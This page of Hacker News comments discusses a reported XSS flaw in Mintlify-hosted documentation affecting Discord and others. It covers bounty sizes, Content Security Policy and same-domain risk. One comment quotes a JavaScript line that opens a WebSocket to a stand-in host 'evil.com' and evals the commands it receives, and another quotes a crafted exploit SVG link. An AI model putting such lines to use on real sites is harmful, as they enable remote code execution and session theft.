Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

gist.github.com

Post reply on HN
Print view View original

281–290 of 453 posts

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#281

Post by staticassertion »

wiether wrote: post #114
0xbadcafebee wrote: post #40

How these companies don't hire kids like Daniel for pennies on the dollar and have him attack their stacks on a loop baffles me. Pay the kid $50k/yr (part time, he still needs to go to school) to constantly probe your crappy stacks. Within a year or two you'll have the most goddamn secure company on the internet - and no public vulns to embarrass you.

That's a bit simplistic. If you sign a contract with a "hacker", then you are expecting results. Otherwise how do you decide to renew the contract next year? How do you decide to raise it next year? What if, during this contract, a vulnerability that this individual didn't found is exploited? You get rid of them? So you're putting pressure on a person who is a researcher, not a producer. Which is wrong. And also ther…

There are a lot of ways to monetize a security researcher. Publishing research, even "we failed to perform a full exploit", is a huge recruitment tool and brand awareness tool.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#282

Post by joshdavham »

tick_tock_tick wrote: post #185
llmslave2 wrote: post #22

This feels so emblematic of our current era. VC funded vibe coded AI documentation startup somehow gets big name customers who don't properly vet the security of the platform, ship a massive vulnerability that could pwn millions of users and the person who reports the vulnerability gets...$5k. If I recall last week Mintlify wrote a blog post showcasing their impressive(ly complicated) caching architecture. Pretending…

The issue is everyone loves to have everything fronted by a single domain. Most of xss is because of this basic flaw. All of this could have been avoided if discord didn't run their API docs through discord.com

Thanks for this comment tick_tock :)

After reading this, I did some research and learned a lot. I never really considered that, by including many things under the same domain, that you're increasing your blast radius w.r.t security vulernabilites. Thanks for that

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#283

Post by brianxq3 »

notnullorvoid wrote: post #255
rvnx wrote: post #243

Earlier quoted context omitted.

For Coinbase docs, this is a disaster particularly

By they looks of it their docs are under a subdomain, and no part of the domain can be changed when setting the url this way. So it would still look a little out of place at least.

I mean, you're not wrong, but this is going to trick a non-zero number of people and that's not okay. We should expect more out of companies like Coinbase and hold them to a high standard.

This is unacceptable and the amount offered in general is low. It feels like we can agree on this.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#284

Post by varenc »

mpeg wrote: post #168
Lionga wrote: post #163

Earlier quoted context omitted.

It would have been. Ten times the amount at least.

For a reflected XSS? Tell me who is paying that much for such a relatively common bug... To elaborate, to exploit this you have to convince your target to open a specially crafted link which would look very suspect. The most realistic way to exploit would be to send a shortened link and hope they click on it, that they are logged into discord.com when they do (most people use the app), that there are no other securit…

Also the XSS exploit would have been dead in the water for any sites using CSP headers. Coinbase certainly uses CSP. With this in place an XSS vuln can't inject arbitrary JS.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#285

Post by psnehanshu »

drewvlaz wrote: post #204
notnullorvoid wrote: post #196

Earlier quoted context omitted.

In general if a script can run, users sessions and more importantly passwords are at risk. It's true that an HTTP-only session cookie couldn't be directly taken, but it's trivial to present the user with a login screen and collect their password (and OTP), at which point you can easily get a session remotely. It can look entirely like the regular login page right down to the url path (because the script can modify th…

Wow did not realize a url could be set like that without promoting a page reload...

Well that's how SPAs work (single page applications)

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#287

Post by rainonmoon »

llmslave2 wrote: post #263
rainonmoon wrote: post #262

Earlier quoted context omitted.

Show me where you can "open a tunnel" using the XSS in this post. > Anything the user can do, you can do via an XSS attack. I just explained why this isn't a reasonable assumption. You seem to have multiple fundamental misunderstandings about web application security so I don't think it's constructive for either of us to continue this conversation.

> Show me where you can "open a tunnel" using the XSS in this post. new WebSocket("ws://evil.com").addEventListener("message", e => eval(e.data)) > You seem to have multiple fundamental misunderstandings about web application security Lol yeah sure buddy

Go to Discord and paste that into your console. None of us will hold it against you if you come back and delete these comments once you learn about Content Security Policy.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#288

Post by 000ooo000 »

ta1999 wrote: post #155

Not shocked given the following statement from Mintlify to a recruiter a few months ago: "I'd rather hire a junior dev who knows the latest version of NextJS than a senior dev who is experienced with an earlier version." This would be a forgivable remark, except the recruiter was aware of the shortsightedness, and likely attempted to coach the hiring manager...

You're much more charitable than I am. I would not call that forgivable.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#289

Post by doctorpangloss »

snvzz wrote: post #133
superasn wrote: post #128

This is a pretty scary exploit, considering how easily it could be abused. Imagine just one link in a tweet, support ticket, or email: https://discord.com/_mintlify/static/evil/exploit.svg . If you click it, JavaScript runs on the discord.com origin. Here's what could happen: - Your Discord session cookies and token could be stolen, leading to a complete account takeover. - read/write your developer applications & we…

>the $4,000 bounty feels like a slap in the face. And serves a reminder crime does pay. In the black market, it would have been worth a bit more.

yeah, but nothing pays as much as doing free work for (checks notes) mintlify feels

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#290

Post by ajross »

Blackthorn wrote: post #269
acheron wrote: post #181

Earlier quoted context omitted.

The Flash revisionism I see around here occasionally is bizarre. No, Flash was terrible and killing it was good.

There is artistically no equivalent to Flash ever since it died. Nothing else has allowed someone with artistic skills but no programming skills to create animations and games to the same degree and with the same ease.

I'd say Roblox is absolutely filling that market need. And as mentioned elsewhere, the "animations and games" demographic has moved on in the intervening decades to social media, and tools like CapCut make creating online content easier than it ever has been.

Honestly I think a lot of the Flash mania is just middle aged nerds fondly remembering their youth. The actual tool was a flash in the pan, and part of a much more complicated history of online content production. And the world is doing just fine without it.

Post reply on HN